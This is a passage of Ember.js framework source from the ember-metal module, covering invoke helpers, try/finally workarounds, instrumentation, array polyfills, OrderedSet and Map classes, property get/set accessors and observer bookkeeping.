!!(obj && typeof obj[methodName] === 'function'); } /** Checks to see if the `methodName` exists on the `obj`. @method canInvoke @for Ember @param {Object} obj The object to check for the method @param {String} methodName The method name to check for */ Ember.canInvoke = canInvoke; /** Checks to see if the `methodName` exists on the `obj`, and if it does, invokes it with the arguments passed. @method tryInvoke @for Ember @param {Object} obj The object to check for the method @param {String} methodName The method name to check for @param {Array} [args] The arguments to pass to the method @return {anything} the return value of the invoked method or undefined if it cannot be invoked */ Ember.tryInvoke = function(obj, methodName, args) { if (canInvoke(obj, methodName)) { return obj[methodName].apply(obj, args || []); } }; // https://github.com/emberjs/ember.js/pull/1617 var needsFinallyFix = (function() { var count = 0; try{ try { } finally { count++; throw new Error('needsFinallyFixTest'); } } catch (e) {} return count !== 1; })(); /** Provides try { } finally { } functionality, while working around Safari's double finally bug. @method tryFinally @for Ember @param {Function} function The function to run the try callback @param {Function} function The function to run the finally callback @param [binding] @return {anything} The return value is the that of the finalizer, unless that valueis undefined, in which case it is the return value of the tryable */ if (needsFinallyFix) { Ember.tryFinally = function(tryable, finalizer, binding) { var result, finalResult, finalError; binding = binding || this; try { result = tryable.call(binding); } finally { try { finalResult = finalizer.call(binding); } catch (e){ finalError = e; } } if (finalError) { throw finalError; } return (finalResult === undefined) ? result : finalResult; }; } else { Ember.tryFinally = function(tryable, finalizer, binding) { var result, finalResult; binding = binding || this; try { result = tryable.call(binding); } finally { finalResult = finalizer.call(binding); } return (finalResult === undefined) ? result : finalResult; }; } /** Provides try { } catch finally { } functionality, while working around Safari's double finally bug. @method tryCatchFinally @for Ember @param {Function} function The function to run the try callback @param {Function} function The function to run the catchable callback @param {Function} function The function to run the finally callback @param [binding] @return {anything} The return value is the that of the finalizer, unless that value is undefined, in which case it is the return value of the tryable. */ if (needsFinallyFix) { Ember.tryCatchFinally = function(tryable, catchable, finalizer, binding) { var result, finalResult, finalError, finalReturn; binding = binding || this; try { result = tryable.call(binding); } catch(error) { result = catchable.call(binding, error); } finally { try { finalResult = finalizer.call(binding); } catch (e){ finalError = e; } } if (finalError) { throw finalError; } return (finalResult === undefined) ? result : finalResult; }; } else { Ember.tryCatchFinally = function(tryable, catchable, finalizer, binding) { var result, finalResult; binding = binding || this; try { result = tryable.call(binding); } catch(error) { result = catchable.call(binding, error); } finally { finalResult = finalizer.call(binding); } return (finalResult === undefined) ? result : finalResult; }; } })(); (function() { // Ember.tryCatchFinally /** The purpose of the Ember Instrumentation module is to provide efficient, general-purpose instrumentation for Ember. Subscribe to a listener by using `Ember.subscribe`: ```javascript Ember.subscribe("render", { before: function(name, timestamp, payload) { }, after: function(name, timestamp, payload) { } }); ``` If you return a value from the `before` callback, that same value will be passed as a fourth parameter to the `after` callback. Instrument a block of code by using `Ember.instrument`: ```javascript Ember.instrument("render.handlebars", payload, function() { // rendering logic }, binding); ``` Event names passed to `Ember.instrument` are namespaced by periods, from more general to more specific. Subscribers can listen for events by whatever level of granularity they are interested in. In the above example, the event is `render.handlebars`, and the subscriber listened for all events beginning with `render`. It would receive callbacks for events named `render`, `render.handlebars`, `render.container`, or even `render.handlebars.layout`. @class Instrumentation @namespace Ember @static */ Ember.Instrumentation = {}; var subscribers = [], cache = {}; var populateListeners = function(name) { var listeners = [], subscriber; for (var i=0, l=subscribers.length; i<l; i++) { subscriber = subscribers[i]; if (subscriber.regex.test(name)) { listeners.push(subscriber.object); } } cache[name] = listeners; return listeners; }; var time = (function() { var perf = 'undefined' !== typeof window ? window.performance || {} : {}; var fn = perf.now || perf.mozNow || perf.webkitNow || perf.msNow || perf.oNow; // fn.bind will be available in all the browsers that support the advanced window.performance... ;-) return fn ? fn.bind(perf) : function() { return +new Date(); }; })(); Ember.Instrumentation.instrument = function(name, payload, callback, binding) { var listeners = cache[name], timeName, ret; if (Ember.STRUCTURED_PROFILE) { timeName = name + ": " + payload.object; console.time(timeName); } if (!listeners) { listeners = populateListeners(name); } if (listeners.length === 0) { ret = callback.call(binding); if (Ember.STRUCTURED_PROFILE) { console.timeEnd(timeName); } return ret; } var beforeValues = [], listener, i, l; function tryable(){ for (i=0, l=listeners.length; i<l; i++) { listener = listeners[i]; beforeValues[i] = listener.before(name, time(), payload); } return callback.call(binding); } function catchable(e){ payload = payload || {}; payload.exception = e; } function finalizer() { for (i=0, l=listeners.length; i<l; i++) { listener = listeners[i]; listener.after(name, time(), payload, beforeValues[i]); } if (Ember.STRUCTURED_PROFILE) { console.timeEnd(timeName); } } return Ember.tryCatchFinally(tryable, catchable, finalizer); }; Ember.Instrumentation.subscribe = function(pattern, object) { var paths = pattern.split("."), path, regex = []; for (var i=0, l=paths.length; i<l; i++) { path = paths[i]; if (path === "*") { regex.push("[^\\.]*"); } else { regex.push(path); } } regex = regex.join("\\."); regex = regex + "(\\..*)?"; var subscriber = { pattern: pattern, regex: new RegExp("^" + regex + "$"), object: object }; subscribers.push(subscriber); cache = {}; return subscriber; }; Ember.Instrumentation.unsubscribe = function(subscriber) { var index; for (var i=0, l=subscribers.length; i<l; i++) { if (subscribers[i] === subscriber) { index = i; } } subscribers.splice(index, 1); cache = {}; }; Ember.Instrumentation.reset = function() { subscribers = []; cache = {}; }; Ember.instrument = Ember.Instrumentation.instrument; Ember.subscribe = Ember.Instrumentation.subscribe; })(); (function() { var utils = Ember.EnumerableUtils = { map: function(obj, callback, thisArg) { return obj.map ? obj.map.call(obj, callback, thisArg) : Array.prototype.map.call(obj, callback, thisArg); }, forEach: function(obj, callback, thisArg) { return obj.forEach ? obj.forEach.call(obj, callback, thisArg) : Array.prototype.forEach.call(obj, callback, thisArg); }, indexOf: function(obj, element, index) { return obj.indexOf ? obj.indexOf.call(obj, element, index) : Array.prototype.indexOf.call(obj, element, index); }, indexesOf: function(obj, elements) { return elements === undefined ? [] : utils.map(elements, function(item) { return utils.indexOf(obj, item); }); }, addObject: function(array, item) { var index = utils.indexOf(array, item); if (index === -1) { array.push(item); } }, removeObject: function(array, item) { var index = utils.indexOf(array, item); if (index !== -1) { array.splice(index, 1); } }, replace: function(array, idx, amt, objects) { if (array.replace) { return array.replace(idx, amt, objects); } else { var args = Array.prototype.concat.apply([idx, amt], objects); return array.splice.apply(array, args); } }, intersection: function(array1, array2) { var intersection = []; array1.forEach(function(element) { if (array2.indexOf(element) >= 0) { intersection.push(element); } }); return intersection; } }; })(); (function() { /*jshint newcap:false*/ /** @module ember-metal */ // NOTE: There is a bug in jshint that doesn't recognize `Object()` without `new` // as being ok unless both `newcap:false` and not `use strict`. // https://github.com/jshint/jshint/issues/392 // Testing this is not ideal, but we want to use native functions // if available, but not to use versions created by libraries like Prototype var isNativeFunc = function(func) { // This should probably work in all browsers likely to have ES5 array methods return func && Function.prototype.toString.call(func).indexOf('[native code]') > -1; }; // From: https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/array/map var arrayMap = isNativeFunc(Array.prototype.map) ? Array.prototype.map : function(fun /*, thisp */) { //"use strict"; if (this === void 0 || this === null) { throw new TypeError(); } var t = Object(this); var len = t.length >>> 0; if (typeof fun !== "function") { throw new TypeError(); } var res = new Array(len); var thisp = arguments[1]; for (var i = 0; i < len; i++) { if (i in t) { res[i] = fun.call(thisp, t[i], i, t); } } return res; }; // From: https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/array/foreach var arrayForEach = isNativeFunc(Array.prototype.forEach) ? Array.prototype.forEach : function(fun /*, thisp */) { //"use strict"; if (this === void 0 || this === null) { throw new TypeError(); } var t = Object(this); var len = t.length >>> 0; if (typeof fun !== "function") { throw new TypeError(); } var thisp = arguments[1]; for (var i = 0; i < len; i++) { if (i in t) { fun.call(thisp, t[i], i, t); } } }; var arrayIndexOf = isNativeFunc(Array.prototype.indexOf) ? Array.prototype.indexOf : function (obj, fromIndex) { if (fromIndex === null || fromIndex === undefined) { fromIndex = 0; } else if (fromIndex < 0) { fromIndex = Math.max(0, this.length + fromIndex); } for (var i = fromIndex, j = this.length; i < j; i++) { if (this[i] === obj) { return i; } } return -1; }; Ember.ArrayPolyfills = { map: arrayMap, forEach: arrayForEach, indexOf: arrayIndexOf }; if (Ember.SHIM_ES5) { if (!Array.prototype.map) { Array.prototype.map = arrayMap; } if (!Array.prototype.forEach) { Array.prototype.forEach = arrayForEach; } if (!Array.prototype.indexOf) { Array.prototype.indexOf = arrayIndexOf; } } })(); (function() { /** @module ember-metal */ /* JavaScript (before ES6) does not have a Map implementation. Objects, which are often used as dictionaries, may only have Strings as keys. Because Ember has a way to get a unique identifier for every object via `Ember.guidFor`, we can implement a performant Map with arbitrary keys. Because it is commonly used in low-level bookkeeping, Map is implemented as a pure JavaScript object for performance. This implementation follows the current iteration of the ES6 proposal for maps (http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets), with two exceptions. First, because we need our implementation to be pleasant on older browsers, we do not use the `delete` name (using `remove` instead). Second, as we do not have the luxury of in-VM iteration, we implement a forEach method for iteration. Map is mocked out to look like an Ember object, so you can do `Ember.Map.create()` for symmetry with other Ember classes. */ var guidFor = Ember.guidFor, indexOf = Ember.ArrayPolyfills.indexOf; var copy = function(obj) { var output = {}; for (var prop in obj) { if (obj.hasOwnProperty(prop)) { output[prop] = obj[prop]; } } return output; }; var copyMap = function(original, newObject) { var keys = original.keys.copy(), values = copy(original.values); newObject.keys = keys; newObject.values = values; return newObject; }; /** This class is used internally by Ember and Ember Data. Please do not use it at this time. We plan to clean it up and add many tests soon. @class OrderedSet @namespace Ember @constructor @private */ var OrderedSet = Ember.OrderedSet = function() { this.clear(); }; /** @method create @static @return {Ember.OrderedSet} */ OrderedSet.create = function() { return new OrderedSet(); }; OrderedSet.prototype = { /** @method clear */ clear: function() { this.presenceSet = {}; this.list = []; }, /** @method add @param obj */ add: function(obj) { var guid = guidFor(obj), presenceSet = this.presenceSet, list = this.list; if (guid in presenceSet) { return; } presenceSet[guid] = true; list.push(obj); }, /** @method remove @param obj */ remove: function(obj) { var guid = guidFor(obj), presenceSet = this.presenceSet, list = this.list; delete presenceSet[guid]; var index = indexOf.call(list, obj); if (index > -1) { list.splice(index, 1); } }, /** @method isEmpty @return {Boolean} */ isEmpty: function() { return this.list.length === 0; }, /** @method has @param obj @return {Boolean} */ has: function(obj) { var guid = guidFor(obj), presenceSet = this.presenceSet; return guid in presenceSet; }, /** @method forEach @param {Function} function @param target */ forEach: function(fn, self) { // allow mutation during iteration var list = this.list.slice(); for (var i = 0, j = list.length; i < j; i++) { fn.call(self, list[i]); } }, /** @method toArray @return {Array} */ toArray: function() { return this.list.slice(); }, /** @method copy @return {Ember.OrderedSet} */ copy: function() { var set = new OrderedSet(); set.presenceSet = copy(this.presenceSet); set.list = this.list.slice(); return set; } }; /** A Map stores values indexed by keys. Unlike JavaScript's default Objects, the keys of a Map can be any JavaScript object. Internally, a Map has two data structures: 1. `keys`: an OrderedSet of all of the existing keys 2. `values`: a JavaScript Object indexed by the `Ember.guidFor(key)` When a key/value pair is added for the first time, we add the key to the `keys` OrderedSet, and create or replace an entry in `values`. When an entry is deleted, we delete its entry in `keys` and `values`. @class Map @namespace Ember @private @constructor */ var Map = Ember.Map = function() { this.keys = Ember.OrderedSet.create(); this.values = {}; }; /** @method create @static */ Map.create = function() { return new Map(); }; Map.prototype = { /** Retrieve the value associated with a given key. @method get @param {anything} key @return {anything} the value associated with the key, or `undefined` */ get: function(key) { var values = this.values, guid = guidFor(key); return values[guid]; }, /** Adds a value to the map. If a value for the given key has already been provided, the new value will replace the old value. @method set @param {anything} key @param {anything} value */ set: function(key, value) { var keys = this.keys, values = this.values, guid = guidFor(key); keys.add(key); values[guid] = value; }, /** Removes a value from the map for an associated key. @method remove @param {anything} key @return {Boolean} true if an item was removed, false otherwise */ remove: function(key) { // don't use ES6 "delete" because it will be annoying // to use in browsers that are not ES6 friendly; var keys = this.keys, values = this.values, guid = guidFor(key), value; if (values.hasOwnProperty(guid)) { keys.remove(key); value = values[guid]; delete values[guid]; return true; } else { return false; } }, /** Check whether a key is present. @method has @param {anything} key @return {Boolean} true if the item was present, false otherwise */ has: function(key) { var values = this.values, guid = guidFor(key); return values.hasOwnProperty(guid); }, /** Iterate over all the keys and values. Calls the function once for each key, passing in the key and value, in that order. The keys are guaranteed to be iterated over in insertion order. @method forEach @param {Function} callback @param {anything} self if passed, the `this` value inside the callback. By default, `this` is the map. */ forEach: function(callback, self) { var keys = this.keys, values = this.values; keys.forEach(function(key) { var guid = guidFor(key); callback.call(self, key, values[guid]); }); }, /** @method copy @return {Ember.Map} */ copy: function() { return copyMap(this, new Map()); } }; /** @class MapWithDefault @namespace Ember @extends Ember.Map @private @constructor @param [options] @param {anything} [options.defaultValue] */ var MapWithDefault = Ember.MapWithDefault = function(options) { Map.call(this); this.defaultValue = options.defaultValue; }; /** @method create @static @param [options] @param {anything} [options.defaultValue] @return {Ember.MapWithDefault|Ember.Map} If options are passed, returns `Ember.MapWithDefault` otherwise returns `Ember.Map` */ MapWithDefault.create = function(options) { if (options) { return new MapWithDefault(options); } else { return new Map(); } }; MapWithDefault.prototype = Ember.create(Map.prototype); /** Retrieve the value associated with a given key. @method get @param {anything} key @return {anything} the value associated with the key, or the default value */ MapWithDefault.prototype.get = function(key) { var hasValue = this.has(key); if (hasValue) { return Map.prototype.get.call(this, key); } else { var defaultValue = this.defaultValue(key); this.set(key, defaultValue); return defaultValue; } }; /** @method copy @return {Ember.MapWithDefault} */ MapWithDefault.prototype.copy = function() { return copyMap(this, new MapWithDefault({ defaultValue: this.defaultValue })); }; })(); (function() { /** @module ember-metal */ var META_KEY = Ember.META_KEY, get, set; var MANDATORY_SETTER = Ember.ENV.MANDATORY_SETTER; var IS_GLOBAL = /^([A-Z$]|([0-9][A-Z$]))/; var IS_GLOBAL_PATH = /^([A-Z$]|([0-9][A-Z$])).*[\.\*]/; var HAS_THIS = /^this[\.\*]/; var FIRST_KEY = /^([^\.\*]+)/; // .......................................................... // GET AND SET // // If we are on a platform that supports accessors we can get use those. // Otherwise simulate accessors by looking up the property directly on the // object. /** Gets the value of a property on an object. If the property is computed, the function will be invoked. If the property is not defined but the object implements the `unknownProperty` method then that will be invoked. If you plan to run on IE8 and older browsers then you should use this method anytime you want to retrieve a property on an object that you don't know for sure is private. (Properties beginning with an underscore '_' are considered private.) On all newer browsers, you only need to use this method to retrieve properties if the property might not be defined on the object and you want to respect the `unknownProperty` handler. Otherwise you can ignore this method. Note that if the object itself is `undefined`, this method will throw an error. @method get @for Ember @param {Object} obj The object to retrieve from. @param {String} keyName The property key to retrieve @return {Object} the property value or `null`. */ get = function get(obj, keyName) { // Helpers that operate with 'this' within an #each if (keyName === '') { return obj; } if (!keyName && 'string'===typeof obj) { keyName = obj; obj = null; } if (!obj || keyName.indexOf('.') !== -1) { return getPath(obj, keyName); } var meta = obj[META_KEY], desc = meta && meta.descs[keyName], ret; if (desc) { return desc.get(obj, keyName); } else { if (MANDATORY_SETTER && meta && meta.watching[keyName] > 0) { ret = meta.values[keyName]; } else { ret = obj[keyName]; } if (ret === undefined && 'object' === typeof obj && !(keyName in obj) && 'function' === typeof obj.unknownProperty) { return obj.unknownProperty(keyName); } return ret; } }; /** Sets the value of a property on an object, respecting computed properties and notifying observers and other listeners of the change. If the property is not defined but the object implements the `unknownProperty` method then that will be invoked as well. If you plan to run on IE8 and older browsers then you should use this method anytime you want to set a property on an object that you don't know for sure is private. (Properties beginning with an underscore '_' are considered private.) On all newer browsers, you only need to use this method to set properties if the property might not be defined on the object and you want to respect the `unknownProperty` handler. Otherwise you can ignore this method. @method set @for Ember @param {Object} obj The object to modify. @param {String} keyName The property key to set @param {Object} value The value to set @return {Object} the passed value. */ set = function set(obj, keyName, value, tolerant) { if (typeof obj === 'string') { value = keyName; keyName = obj; obj = null; } if (!obj || keyName.indexOf('.') !== -1) { return setPath(obj, keyName, value, tolerant); } var meta = obj[META_KEY], desc = meta && meta.descs[keyName], isUnknown, currentValue; if (desc) { desc.set(obj, keyName, value); } else { isUnknown = 'object' === typeof obj && !(keyName in obj); // setUnknownProperty is called if `obj` is an object, // the property does not already exist, and the // `setUnknownProperty` method exists on the object if (isUnknown && 'function' === typeof obj.setUnknownProperty) { obj.setUnknownProperty(keyName, value); } else if (meta && meta.watching[keyName] > 0) { if (MANDATORY_SETTER) { currentValue = meta.values[keyName]; } else { currentValue = obj[keyName]; } // only trigger a change if the value has changed if (value !== currentValue) { Ember.propertyWillChange(obj, keyName); if (MANDATORY_SETTER) { if (currentValue === undefined && !(keyName in obj)) { Ember.defineProperty(obj, keyName, null, value); // setup mandatory setter } else { meta.values[keyName] = value; } } else { obj[keyName] = value; } Ember.propertyDidChange(obj, keyName); } } else { obj[keyName] = value; } } return value; }; // Currently used only by Ember Data tests if (Ember.config.overrideAccessors) { Ember.get = get; Ember.set = set; Ember.config.overrideAccessors(); get = Ember.get; set = Ember.set; } function firstKey(path) { return path.match(FIRST_KEY)[0]; } // assumes path is already normalized function normalizeTuple(target, path) { var hasThis = HAS_THIS.test(path), isGlobal = !hasThis && IS_GLOBAL_PATH.test(path), key; if (!target || isGlobal) target = Ember.lookup; if (hasThis) path = path.slice(5); if (target === Ember.lookup) { key = firstKey(path); target = get(target, key); path = path.slice(key.length+1); } // must return some kind of path to be valid else other things will break. if (!path || path.length===0) throw new Error('Invalid Path'); return [ target, path ]; } function getPath(root, path) { var hasThis, parts, tuple, idx, len; // If there is no root and path is a key name, return that // property from the global object. // E.g. get('Ember') -> Ember if (root === null && path.indexOf('.') === -1) { return get(Ember.lookup, path); } // detect complicated paths and normalize them hasThis = HAS_THIS.test(path); if (!root || hasThis) { tuple = normalizeTuple(root, path); root = tuple[0]; path = tuple[1]; tuple.length = 0; } parts = path.split("."); len = parts.length; for (idx=0; root && idx<len; idx++) { root = get(root, parts[idx], true); if (root && root.isDestroyed) { return undefined; } } return root; } function setPath(root, path, value, tolerant) { var keyName; // get the last part of the path keyName = path.slice(path.lastIndexOf('.') + 1); // get the first part of the part path = path.slice(0, path.length-(keyName.length+1)); // unless the path is this, look up the first part to // get the root if (path !== 'this') { root = getPath(root, path); } if (!keyName || keyName.length === 0) { throw new Error('You passed an empty path'); } if (!root) { if (tolerant) { return; } else { throw new Error('Object in path '+path+' could not be found or was destroyed.'); } } return set(root, keyName, value); } /** @private Normalizes a target/path pair to reflect that actual target/path that should be observed, etc. This takes into account passing in global property paths (i.e. a path beginning with a captial letter not defined on the target) and * separators. @method normalizeTuple @for Ember @param {Object} target The current target. May be `null`. @param {String} path A path on the target or a global property path. @return {Array} a temporary array with the normalized target/path pair. */ Ember.normalizeTuple = function(target, path) { return normalizeTuple(target, path); }; Ember.getWithDefault = function(root, key, defaultValue) { var value = get(root, key); if (value === undefined) { return defaultValue; } return value; }; Ember.get = get; Ember.getPath = Ember.deprecateFunc('getPath is deprecated since get now supports paths', Ember.get); Ember.set = set; Ember.setPath = Ember.deprecateFunc('setPath is deprecated since set now supports paths', Ember.set); /** Error-tolerant form of `Ember.set`. Will not blow up if any part of the chain is `undefined`, `null`, or destroyed. This is primarily used when syncing bindings, which may try to update after an object has been destroyed. @method trySet @for Ember @param {Object} obj The object to modify. @param {String} keyName The property key to set @param {Object} value The value to set */ Ember.trySet = function(root, path, value) { return set(root, path, value, true); }; Ember.trySetPath = Ember.deprecateFunc('trySetPath has been renamed to trySet', Ember.trySet); /** Returns true if the provided path is global (e.g., `MyApp.fooController.bar`) instead of local (`foo.bar.baz`). @method isGlobalPath @for Ember @private @param {String} path @return Boolean */ Ember.isGlobalPath = function(path) { return IS_GLOBAL.test(path); }; })(); (function() { /** @module ember-metal */ var GUID_KEY = Ember.GUID_KEY, META_KEY = Ember.META_KEY, EMPTY_META = Ember.EMPTY_META, metaFor = Ember.meta, o_create = Ember.create, objectDefineProperty = Ember.platform.defineProperty; var MANDATORY_SETTER = Ember.ENV.MANDATORY_SETTER; // .......................................................... // DESCRIPTOR // /** Objects of this type can implement an interface to responds requests to get and set. The default implementation handles simple properties. You generally won't need to create or subclass this directly. @class Descriptor @namespace Ember @private @constructor */ var Descriptor = Ember.Descriptor = function() {}; // .......................................................... // DEFINING PROPERTIES API // var MANDATORY_SETTER_FUNCTION = Ember.MANDATORY_SETTER_FUNCTION = function(value) { }; var DEFAULT_GETTER_FUNCTION = Ember.DEFAULT_GETTER_FUNCTION = function(name) { return function() { var meta = this[META_KEY]; return meta && meta.values[name]; }; }; /** @private NOTE: This is a low-level method used by other parts of the API. You almost never want to call this method directly. Instead you should use `Ember.mixin()` to define new properties. Defines a property on an object. This method works much like the ES5 `Object.defineProperty()` method except that it can also accept computed properties and other special descriptors. Normally this method takes only three parameters. However if you pass an instance of `Ember.Descriptor` as the third param then you can pass an optional value as the fourth parameter. This is often more efficient than creating new descriptor hashes for each property. ## Examples ```javascript // ES5 compatible mode Ember.defineProperty(contact, 'firstName', { writable: true, configurable: false, enumerable: true, value: 'Charles' }); // define a simple property Ember.defineProperty(contact, 'lastName', undefined, 'Jolley'); // define a computed property Ember.defineProperty(contact, 'fullName', Ember.computed(function() { return this.firstName+' '+this.lastName; }).property('firstName', 'lastName')); ``` @method defineProperty @for Ember @param {Object} obj the object to define this property on. This may be a prototype. @param {String} keyName the name of the property @param {Ember.Descriptor} [desc] an instance of `Ember.Descriptor` (typically a computed property) or an ES5 descriptor. You must provide this or `data` but not both. @param {anything} [data] something other than a descriptor, that will become the explicit value of this property. */ Ember.defineProperty = function(obj, keyName, desc, data, meta) { var descs, existingDesc, watching, value; if (!meta) meta = metaFor(obj); descs = meta.descs; existingDesc = meta.descs[keyName]; watching = meta.watching[keyName] > 0; if (existingDesc instanceof Ember.Descriptor) { existingDesc.teardown(obj, keyName); } if (desc instanceof Ember.Descriptor) { value = desc; descs[keyName] = desc; if (MANDATORY_SETTER && watching) { objectDefineProperty(obj, keyName, { configurable: true, enumerable: true, writable: true, value: undefined // make enumerable }); } else { obj[keyName] = undefined; // make enumerable } desc.setup(obj, keyName); } else { descs[keyName] = undefined; // shadow descriptor in proto if (desc == null) { value = data; if (MANDATORY_SETTER && watching) { meta.values[keyName] = data; objectDefineProperty(obj, keyName, { configurable: true, enumerable: true, set: MANDATORY_SETTER_FUNCTION, get: DEFAULT_GETTER_FUNCTION(keyName) }); } else { obj[keyName] = data; } } else { value = desc; // compatibility with ES5 objectDefineProperty(obj, keyName, desc); } } // if key is being watched, override chains that // were initialized with the prototype if (watching) { Ember.overrideChains(obj, keyName, meta); } // The `value` passed to the `didDefineProperty` hook is // either the descriptor or data, whichever was passed. if (obj.didDefineProperty) { obj.didDefineProperty(obj, keyName, value); } return this; }; })(); (function() { // Ember.tryFinally /** @module ember-metal */ var AFTER_OBSERVERS = ':change'; var BEFORE_OBSERVERS = ':before'; var guidFor = Ember.guidFor; var deferred = 0; /* this.observerSet = { [senderGuid]: { // variable name: `keySet` [keyName]: listIndex } }, this.observers = [ { sender: obj, keyName: keyName, eventName: eventName, listeners: [ [target, method, onceFlag, suspendedFlag] ] }, ... ] */ function ObserverSet() { this.clear(); } ObserverSet.prototype.add = function(sender, keyName, eventName) { var observerSet = this.observerSet, observers = this.observers, senderGuid = Ember.guidFor(sender), keySet = observerSet[senderGuid], index; if (!keySet) { observerSet[senderGuid] = keySet = {}; } index = keySet[keyName]; if (index === undefined) { index = observers.push({ sender: sender, keyName: keyName, eventName: eventName, listeners: [] }) - 1; keySet[keyName] = index; } return observers[index].listeners; }; ObserverSet.prototype.flush = function() { var observers = this.observers, i, len, observer, sender; this.clear(); for (i=0, len=observers.length; i < len; ++i) { observer = observers[i]; sender = observer.sender; if (sender.isDestroying || sender.isDestroyed) { continue; } Ember.sendEvent(sender, observer.eventName, [sender, observer.keyName], observer.listeners); } }; ObserverSet.prototype.clear = function() { this.observerSet = {}; this.observers = []; }; var beforeObserverSet = new ObserverSet(), observerSet = new ObserverSet(); /** @method beginPropertyChanges @chainable */ Ember.beginPropertyChanges = function() { deferred++; }; /** @method endPropertyChanges */ Ember.endPropertyChanges = function() { deferred--; if (deferred<=0) { beforeObserverSet.clear(); observerSet.flush(); } }; /** Make a series of property changes together in an exception-safe way. ```javascript Ember.changeProperties(function() { obj1.set('foo', mayBlowUpWhenSet); obj2.set('bar', baz); }); ``` @method changeProperties @param {Function} callback @param [binding] */ Ember.changeProperties = function(cb, binding){ Ember.beginPropertyChanges(); Ember.tryFinally(cb, Ember.endPropertyChanges, binding); }; /** Set a list of properties on an object. These properties are set inside a single `beginPropertyChanges` and `endPropertyChanges` batch, so observers will be buffered. @method setProperties @param target @param {Hash} properties @return target */ Ember.setProperties = function(self, hash) { Ember.changeProperties(function(){ for(var prop in hash) { if (hash.hasOwnProperty(prop)) Ember.set(self, prop, hash[prop]); } }); return self; }; function changeEvent(keyName) { return keyName+AFTER_OBSERVERS; } function beforeEvent(keyName) { return keyName+BEFORE_OBSERVERS; } /** @method addObserver @param obj @param {String} path @param {Object|Function} targetOrMethod @param {Function|String} [method] */ Ember.addObserver = function(obj, path, target, method) { Ember.addListener(obj, changeEvent(path), target, method); Ember.watch(obj, path); return this; }; Ember.observersFor = function(obj, path) { return Ember.listenersFor(obj, changeEvent(path)); }; /** @method removeObserver @param obj @param {String} path @param {Object|Function} targetOrMethod @param {Function|String} [method] */ Ember.removeObserver = function(obj, path, target, method) { Ember.unwatch(obj, path); Ember.removeListener(obj, changeEvent(path), target, method); return this; }; /** @method addBeforeObserver @param obj @param {String} path @param {Object|Function} targetOrMethod @param {Function|String} [method] */ Ember.addBeforeObserver = function(obj, path, target, method) { Ember.addListener(obj, beforeEvent(path), target, method); Ember.watch(obj, path); return this; }; // Suspend observer during callback. // // This should only be used by the target of the observer // while it is setting the observed path. Ember._suspendBeforeObserver = function(obj, path, target, method, callback) { return Ember._suspendListener(obj, beforeEvent(path), target, method, callback); }; Ember._suspendObserver = function(obj, path, target, method, callback) { return Ember._suspendListener(obj, changeEvent(path), target, method, callback); }; var map = Ember.ArrayPolyfills.map; Ember._suspendBeforeObservers = function(obj, paths, target, method, callback) { var events = map.call(paths, beforeEvent); return Ember._suspendListeners(obj, events, target, method, callback); }; Ember._suspendObservers = function(obj, paths, target, method, callback) { var events = map.call(paths, changeEvent); return Ember._suspendListeners(obj, events, target, method, callback); }; Ember.beforeObserversFor = function(obj, path) { return Ember.listenersFor(obj, beforeEvent(path)); }; /** @method removeBeforeObserver @param obj @param {String} path @param {Object|Function} targetOrMethod @param {Function|String} [method] */ Ember.removeBeforeObserver = function(obj, path, target, method) { Ember.unwatch(obj, path); Ember.removeListener(obj, beforeEvent(path), target, method); return this; }; Ember.notifyBeforeObservers = function(obj, keyName) { if (obj.isDestroying) { return; } var eventName = beforeEvent(keyName), listeners, listenersDiff; if (deferred) { listeners = beforeObserverSet.add(obj, keyName, eventName); listenersDiff = Ember.listenersDiff(obj, eventName, listeners); Ember.sendEvent(obj, eventName, [obj, keyName], listenersDiff); } else { Ember.sendEvent(obj, eventName, [obj, keyName]); } }; Ember.notifyObservers = function(obj, keyName) { if (obj.isDestroying) { return; } var eventName = changeEvent(keyName), listeners; if (deferred) { listeners = observerSet.add(obj, keyName, eventName); Ember.listenersUnion(obj, eventName, listeners); } else { Ember.sendEvent(obj, eventName, [obj, keyName]); } }; })(); (function() { /** @module ember-metal */ var guidFor = Ember.guidFor, // utils.js metaFor = Ember.meta, // utils.js get = Ember.get, // accessors.js set = Ember.set, // accessors.js normalizeTuple = Ember.normalizeTuple, // accessors.js GUID_KEY = Ember.GUID_KEY, // utils.js META_KEY = Ember.META_KEY, // utils.js // circular reference observer depends on Ember.watch // we should move change events to this file or its own property_events.js notifyObservers = Ember.notifyObservers, // observer.js forEach = Ember.ArrayPolyfills.forEach, // array.js FIRST_KEY = /^([^\.\*]+)/, IS_PATH = /[\.\*]/; var MANDATORY_SETTER = Ember.ENV.MANDATORY_SETTER, o_defineProperty = Ember.platform.defineProperty; function firstKey(path) { return path.match(FIRST_KEY)[0]; } // returns true if the passed path is just a keyName function isKeyName(path) { return path==='*' || !IS_PATH.test(path); } // .......................................................... // DEPENDENT KEYS // function iterDeps(method, obj, depKey, seen, meta) { var guid = guidFor(obj); if (!seen[guid]) seen[guid] = {}; if (seen[guid][depKey]) return; seen[guid][depKey] = true; var deps = meta.deps; deps = deps && deps[depKey]; if (deps) { for(var key in deps) { var desc = meta.descs[key]; if (desc && desc._suspended === obj) continue; method(obj, key); } } } var WILL_SEEN, DID_SEEN; // called whenever a property is about to change to clear the cache of any dependent keys (and notify those properties of changes, etc...) function dependentKeysWillChange(obj, depKey, meta) { if (obj.isDestroying) { return; } var seen = WILL_SEEN, top = !seen; if (top) { seen = WILL_SEEN = {}; } iterDeps(propertyWillChange, obj, depKey, seen, meta); if (top) { WILL_SEEN = null; } } // called whenever a property has just changed to update dependent keys function dependentKeysDidChange(obj, depKey, meta) { if (obj.isDestroying) { return; } var seen = DID_SEEN, top = !seen; if (top) { seen = DID_SEEN = {}; } iterDeps(propertyDidChange, obj, depKey, seen, meta); if (top) { DID_SEEN = null; } } // .......................................................... // CHAIN // function addChainWatcher(obj, keyName, node) { if (!obj || ('object' !== typeof obj)) { return; } // nothing to do var m = metaFor(obj), nodes = m.chainWatchers; if (!m.hasOwnProperty('chainWatchers')) { nodes = m.chainWatchers = {}; } if (!nodes[keyName]) { nodes[keyName] = []; } nodes[keyName].push(node); Ember.watch(obj, keyName); } function removeChainWatcher(obj, keyName, node) { if (!obj || 'object' !== typeof obj) { return; } // nothing to do var m = metaFor(obj, false); if (!m.hasOwnProperty('chainWatchers')) { return; } // nothing to do var nodes = m.chainWatchers; if (nodes[keyName]) { nodes = nodes[keyName]; for (var i = 0, l = nodes.length; i < l; i++) { if (nodes[i] === node) { nodes.splice(i, 1); } } } Ember.unwatch(obj, keyName); } var pendingQueue = 